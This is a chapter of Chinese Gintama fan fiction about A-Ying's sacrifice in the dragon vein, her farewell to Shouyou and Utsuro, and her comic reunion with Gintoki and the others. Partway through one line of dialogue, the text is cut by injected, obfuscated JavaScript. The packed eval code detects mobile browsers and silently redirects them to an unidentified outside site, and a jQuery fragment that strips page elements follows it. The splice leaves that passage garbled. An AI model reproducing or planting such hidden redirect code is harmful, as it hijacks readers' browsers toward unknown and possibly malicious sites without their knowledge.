虚错了,这些弟子的剑早已能触及他了。他们,作为了人而战斗,在救人的同时也实现自救。 人类是自由的,生命会自己找到出路,如她当年所说的那般,他想要的一切,都有了最好的答案。 “松阳……”银时三人下意识伸手,却被他笑着阻止。 “这点时间,是阿萤用生命替我争取的。结束一切的痛苦,本来就是我和虚想要的。吉田松阳一开始不过是漫长时光里的一个剪影,是你们赋予了他真正的人生。不需要遗憾,你们……做得很好。”松阳满眼的骄傲,笑容如当年一样温柔,“万事屋也好,鬼兵队也好,攘夷志士也好,你们都找到自己的新人生和伙伴,甚至开创了新的时代,比我所想的还要出色。不过啊……” 拳头轻抬,咚咚咚三下,三人顿时陷入地面,松阳笑眯眯地偏头,“唯独没有保护好阿萤。” 就这一点,三人完全不敢反驳。 看着他们身后慢慢汇聚而来的人们,听着他们七嘴八舌地说着一些他不知道的事,听弟子们说那些他不知道的经历,松阳笑容温柔而骄傲。 这些人,让吉田松阳短暂的人生有了不一样的意义。那一年他留下的希望,有的在这片大地燃起了时代的火种,有的以微弱的光,在这些人的耀眼光芒中,创造了属于她的奇迹。 足够了。而现在,他要把时间还给那个把爱与光毫不吝啬地给予他们的孩子了。 零碎的星光随着他消失而飞向阵法里头,原本安静的龙脉绽放耀眼的光芒,瞬间笼罩了一切。 81.神明所偏爱的孩子 龙脉里头原来是这样的么 我打量一下四周,浅荧光绿的世界中央是一颗枝叶茂盛的巨树,光映照得人的脸色都青了,估计再漂亮的人,顶着这种脸色也不行。 “阿萤,这是杀不了我的……”虚的声音响在一片绿光之中。 我伸手按在心脏的位置,笑了,“杀得了,以神明之身。你不是一直在等着我吗?” 神明之力,本就可以驱散一切邪恶。没有感受人类的自私,懦弱,贪婪等负面情绪,只剩下那些勇敢,坚强和爱。不是灵魂献祭的封印龙脉,而是真正地让他释怀消失。 虚一直没有下狠手杀我,多少有想要真的被我杀掉的期盼。 “感受到了吗?我一直想要你感受的,被爱的感觉。” 一直以来受到的关怀,爱护,以及最后那一眼的伤感。虚现在跟我感受是互通的,他也能体会我的感觉。 “被爱也会这样难过么?” “因为人类是贪婪的,得到一样就会想要更多。被爱的人会想跟所爱的人一起。但是同样,人类也知足,感受到爱便会放弃一些不必要的执念。” “人类真是矛盾啊。” “矛盾才会痛苦,但痛苦会让人成长,人生百年,各种感受交杂,才叫精彩。”以前就常听人说,凡人就是烦人,所以生命总是伴随苦恼。 “你呢,被爱着的你就这样放弃值得吗?明明有更好的方式杀掉我。” 哈哈,不愧是跟我因龙脉相通的人。确实,神明是有办法,因为龙脉已认我为主。但是,我又不是只想杀他。 “值得的,我想要他们见到松阳,最后道别也好,让恨意和悔意消散也好。同时,我也想你真正地被选择。” 这个想法是在看到那个原版结局的时候冒出来的。既然高杉可以在重创虚后分离虚和松阳,那么我应该也可以。 尽管龙脉的封印必定会让那个身体消失,但如果成功,即使只有片刻也好,他们能弥补当年没有好好道别的遗憾,不需要以生命作为代价。 这一次,我是真的选择了松阳,选择了虚,也选择了能活下来的自己。龙脉之主的我,只有在龙脉里面才有一线生机。 “我从来没有被这样选择过。人类恐惧我,也利用我,让我如此痛苦,憎恨他们不是很应该的吗?”虚难掩疑惑,难得像个孩子般褪去所有的怨恨色彩。 “是啊,人类自私,软弱,却也坚定,善良。这么矛盾的又多毛病的,也就是人类了。”我把手捂在胸口,笑着对他说,“憎恨人类,却也向往人类。终结一切是想要人类陪着你消失?可是啊,人类这种东西活着才会变好,我们……好好看着吧,人类总是为了活着,为了守护而创造奇迹。” “是么?” 虚痛恨人类,却也渴望人类,而对他从来没有任何恶意的我,意外地符合一切。 不是圣母,而是同样与龙脉相关的通感,是因为松阳,同时也是由衷地理解他灭世的愤恨……这个病娇有点无解,却挑起我心底最深的那份疯狂。 反正都不能回家了,如果我能做到些什么,那就为了他们试试吧。 “我开始理解吉田松阳为什么选择你了,但你甘心吗?” “拯救全人类哦,爸妈要是知道,族谱都能为我单开一页了。” 哪有那么多伟大,不过是衡量过后我觉得可以接受罢了。 那两个人说错了,不是命运或者松阳选择我,这一切是神明送我的礼物。真正的我,在离开考场后不久便救了几个在路上玩耍的孩子……我目睹了自己的葬礼,几个孩子延续了我的价值,安抚了我的至亲…… 我回不去了,但来到这个世界,是神明恩赐的另一段人生,认识他们,是这个世界最美好的补偿。 “阿萤你啊……总是让人意料不到,也真的不顾其他人死活呢。”一片的绿光之中,松阳的身影出现在眼前,一如昔日的温柔,笑容清澈如夏日的微风。 看来是道别完了,希望他们有好好地表达,而不是哭成一团哈哈。我笑嘻嘻地扑进他怀中,不负责任地甩锅,“这不跟你学的么。” 当年他不也是把烂摊子丢给自己的弟子们么,毕竟我们松下村塾的人都习惯了自己的事自己扛呀~ “这种欠揍的东西不要学那么足哦。”松阳伤脑筋地扶额。 “我们三个一起,也是个不错的结局嘛……哈哈,他们该妒忌我了,坐拥他们想要的人~”我戏谑地靠着松阳的肩膀,一如当年在村塾时。 “听着确实不错……”光点从我眉心冒出,慢慢化成了虚的样子。 不得不说,虽然是同一个人,但两个人格的分别还真是很明显。比起松阳的温柔若风,虚更像高高在上的霸总。 “不过,不行哦……”松阳笑着揉揉我的发,“你不能就这样离开。” 我的身边慢慢汇聚了无数的如萤光的绿点,诡异地渗入我的身体里头。我愣了一下,抬头问道,“这是什么神展开?” “那是人类的生命力。”松阳放开我,偏头温柔地看过来。 “为什么会这样?”我有点不解,抬手看着那些萤火般的光点落在掌心。 “说过了吧,你是被人类爱着的孩子。” 不是,也不至于这么多人爱我吧?我还是有点自知之明的。 “人类在面对共同危机的时候总是会特别团结,他们选择了救你,其实是选择了自救。以自己的力量,成为救赎自己的人。你不是一直都知道么,人类就是这么神奇的生物。” 松阳抬头看向那些不断涌进来的萤光,“阿萤,因为你,他们……已经有了不一样的未来,那些眼神哀伤的孩子们已经不会哭泣了。所以,回去吧,他们需要你。” 是么?未来不一样了啊……那就好。 我释怀地笑了,“可是我想陪着你们,神明是可以送礼物给听话的孩子哦……松阳,就算不回去,我在这个世界的人生,已经很圆满了。” 我被很多人爱着,也爱着他们,足够了。在这个不算美好的世界上,我得到了很多,及时行乐感受每一个时刻的快乐,从不委屈自己,也从不愧对爱我的人们。 现在我重视的人们有新的家人和同伴,我在不在,他们都会好好走下去。 我想要的,能得到的都已经得到了,那些没有得到的……在那个男人被我亲上时第一反应不是抗拒的时候,我已经有了答案。 世界我都参与拯救过了,人生还有什么比这个更值得炫耀? 松阳摇了摇头,“他们比我们更需要你……说过了啊,不要低估自己的位置,阿萤。如果说我指引了他们人生的话,那你的存在便是让我们真正懂得家和家人的概念。当年我说你是最后的希望,不是希望你成为他们联系的纽带,而是你能守住他们灵魂最后的安宁,那是我们的归处。” “松阳……一直想回去的只有我……” 我有点委屈,回不去爸妈的家,也无法回去松下村塾。他们当中,只有高杉跟我一样……无法离开记忆里的村塾,那个家。 但这一切过后,高杉也一定能往前走了。我才不是站在原地,看着他们远去的那种女人。 “回不去了……可是现在,我也不在乎了。成为神明耶,说出去多光荣。” 我的脚步,比任何人都要迈得开呢。 松阳笑着弹了记我额头,“别傻了,他们可不会让你一个人逍遥的。你不是早就有新的家了吗?在他们身边……” 虚冷笑一声,也抬手弹我一记,“心里装着那么多男人的女人,我可不想留下。” “我们这一生,短暂停留也好,恒久地活着也好,体会到陪伴,也见识过人类的一切,虚伪与坚强,已经足够漫长了。但阿萤你不一样,你还有未来,也必须走到未来去,我们家的女人才不会输给既定的命运哦。” 好好好,搞到最后,你们才是真爱是吗,嫌我了是吗?我也是被这现实打击到了。 松阳一眼看出我的想法,笑眯眯地举手揉着我的头,“笨蛋,只有活着才会有希望……你做了这么多混事,要是不能回去的话,他们只会跌入另一个深渊,这次甚至没有人能把他们拉出来。所以,我的神明大人,请你继续留在他们身边吧。” “可是,神明最后不是还会归于天际什么的么。”斩月大叔有提醒过。 我原来还想着,等尘埃落定后就想办法告诉他们我还活着,只是去宇宙旅行,不让他们挂心。至于归于天际,我还没搞清楚,但既然斩月大叔能把神明身份给我继任,那总能找到下一任,慢慢摸索就是了。 轻眯起眼,松阳笑得意味深长,“他们可不是会放弃的家伙。再说,神明并非不可逆……总会有人抓住神明。” “昂?你在说什么啊?不说这些了,我们还能……一起喝酒嘛?”我抬起头,看着他们笑了,“不再担心酒品不行替换人格地喝一次也好。” 松阳和虚对望一眼,轻笑着点头,随后,他扬手把生命力聚集于我身上。 莹光之火,亦可以燎原。 最后看了一眼那两个截然不同却同样笑着目送我的男人,我慢慢伸手向那些光来源的地方。 蓦地,三只手从光源探出,紧紧地抓着我的手,强韧的生命力迸发耀眼的光芒瞬间把我包围。 “如你所说……你活着,我们的相遇才有意义啊……蠢货。” “黎明已至……你怎么能缺席?” “干了那么多混事就想跑……没那么容易啊混蛋……” 那三个熟悉得让人放不下的笨蛋的脸,在一片绿光之中有些扭曲,但眼神依然坚定而温柔。 也许既定的命运确实无法战胜,因为那些缘分,原本只想结束一切的我确实因他们而喜欢这个bug一堆的世界。 再次张开眼的时候,身体各种沉重,胸前的伤已复原,只是浴衣上依然满是血色有些吓人,那种脚踏实地的感觉分外的安心。 抬目望去,一切已经平息下来,天际开始有破晓后的微光。那些熟悉的人们在龙脉被封后的深渊前,看起来在吵什么。 我有点吃惊,大战过后不是应该拥抱感动的吗?松阳都见到了,还有什么值得生气?为什么他们还在打架?怎么,一致对外后迫不及待要内斗了? 这些主角也太另类了吧。果然都有着人类的劣根啊,有事团结对外,没事各自内斗。 蹑手蹑脚走近,看到Joy4你一拳我一脚地乱斗,都滚成一堆了,神威兄妹和新八在一边不知道怎么劝。主要是神威笑着压着妹子不让她轻易入这种混乱的战场,而新八实力不够插不进去。 他们在打什么呢?辰马是在劝架吗?怎么看起来像在趁机揍人。 “人在你面前都能让她干这种蠢事,还救世主,别笑死人了……” “别这样高杉,我们不也没人知道她怎么从宇宙回来吗……但……还是很让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448590|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人生气啊!” “闭嘴!人在宇宙也没见你们管得住!” “要不是我们在飞船的牢里发现那两个人,你以为能有转机?” “假发,你打的是我啊!” “不是假发,是桂!不好意思,打错了。” 糟糕,好像是因为我……我越听越心虚,感觉现在不是很适合现身的时机,被看到可能会被揍一顿。 这肯定是松阳的恶作剧!要不,我先躲一下? 心念才起,敏锐的夜兔已经发现了我,两双几乎一样的蓝眸就这样看了过来。 “啊哈……”我收回迈出的脚,蓦地绽出笑容,勇敢地举起手摇了摇,“那个,我回来了。” 一时间大家都看了过来,我头皮都发麻了,越发的心虚,只能勉强维持笑容,内心已经想哭了。 唉,明明可以演一出感人至深的重逢场面,就这样被玩坏了,这个操蛋的世界! “阿莹姐!” 神乐最先反应过来,连同神威张开手朝我扑过来。 我心下一松,还是有人欢迎我的~ 猛地,两只脚把他们踩下来,我还没反应过来就被两个拳头揍在头上。 不痛,但我期待的场面还是毁了。 “蠢货……” 抬头,高杉偏冷的面容别扭地浮现一抹笑意,桂眼泪汪汪地伸手抚着我的头。 好吧,还是很感动。我张手抱着他们,“我回来了~” “欢迎回来啊,阿月~” 他们还没说话,辰马已大笑着跑过来一把抱住我们三人。猝然被抱作一团的高杉想也不想地一脚过去,辰马跌在地上委屈地朝我抱怨,投诉他们见完老师后就马上翻脸内斗,而他劝架还被揍得鼻青脸肿。 这倒打一把的告状让我笑得打跌,拉起他抱了抱,那种莫名地别扭瞬间消失。新八和神威兄妹也上前给我一个拥抱,然后我看到那个还带着一身伤,低着头慢慢走过来的人。 糟糕,之前想着最后一面,做了点过分的事……现在我对他心虚得紧,连耳根也不由得发烫。 银时一步一步朝我走近,刘海低垂看不清表情,但浑身的气势压抑而慑人,让我莫名地有些害怕。 求助般看向高杉,他懒懒地别过头,一副让我自己收拾的样子,桂和辰马更是彼此聊了起来完全不看我。神威更过分,笑容灿烂地直接把想要帮忙的神乐和新八扣下。 可恶,关键时刻男人都是靠不住的。 我下意识被逼退一步,忍不住求饶,“对不起,但别再踩脸……” 下一刻,我被揽进熟悉温暖的怀抱,他的气息埋在我颈窝,大手按着我的腰和后脑勺,慢慢收紧手臂。 那是一个结实的拥抱,安心得让我忍不住心底的酸涩翻涌,眼眶发热盈泪。什么神隐我一点也不期待……我还是想要在他们身边,每天鸡飞狗走也没关系。 伸手抱着他,我轻声道,“我回来了。银时。” 他啊了一声,没说话,只是抱紧我。 啊哈,我一生行善积德,感人至深的重逢场面果然值得拥有~ 抱着我的人忽然浑身一僵,我有点不太妙的感觉。卧槽,又把想法说出来了! 下一瞬,我整个人被扛起,以银时为首的joy4,神威神乐新八等齐齐一扬手,干脆地把我扔进了那个深渊! “啊——你们这群混蛋!就不能好好欢迎我回来吗?我可是辛辛苦苦从三途川爬回来的!” 眼疾手快地抓着一块突出的石头,我狼狈地趴在边上,朝上面破口大骂。 “不用辛苦了,你放心地滚去地狱吧,反正一直想die,我们成全你啊!” 坂田银时蹲在边上,死鱼眼懒懒地看下来,还坏心眼地拿洞爷湖戳我的手! “说什么傻话呢,我真去地狱了你舍得吗?这个世界才刚开始好了点,怎么能少了我这个奇迹呢?给我尊敬点,愚民们,我现在可是神明啊!”我气急败坏地骂道,怕死了他再来一脚。 神明会飞吗?大叔没教这个啊!这么深的大坑我掉下去不会死吧? “有你没你世界一样美好,神明大人你就放心地去吧。”银时收回木刀,挖着鼻孔无情地转身离去。 其他人也不见了影子。 什么需要我……他们分明是这样嫌弃我的!我就不应该信松阳那个对他们有美好滤镜的老男人! 我攀着石头,刚想要求救,身后一道光映照而来。我回头望去,朝阳在天边发出第一道刺眼的光,大地再次明亮起来。 天亮了。 “还在磨蹭什么?赶紧上来,烂摊子还一堆呢。还有,阿萤你瞒着我们的事,给老子一件不落地如实招来啊……” 上面传来高杉的声音,又是那种别扭的语调。 “要去地狱也把自己惹的祸收拾干净再去啊,阿银可不是什么舍不得,只是懒得收拾你的愚蠢招惹的混事而已。” “你们别太过分了,我可是从一开始就坚信阿萤不会输的……要是她掉下去,老师会再来揍你们的!” “闭嘴假发!你这样说只会让阿银想踹她下去啊!” “啊哈哈哈,你们赶紧把阿月拉上来吧,不然等下还得下去找呢。” 笑意从心底蔓延,我抬头,看到那几个人朝我伸手。 这个世界,终于有那么一点点值得期待了。 “都说了,傲娇没前途。”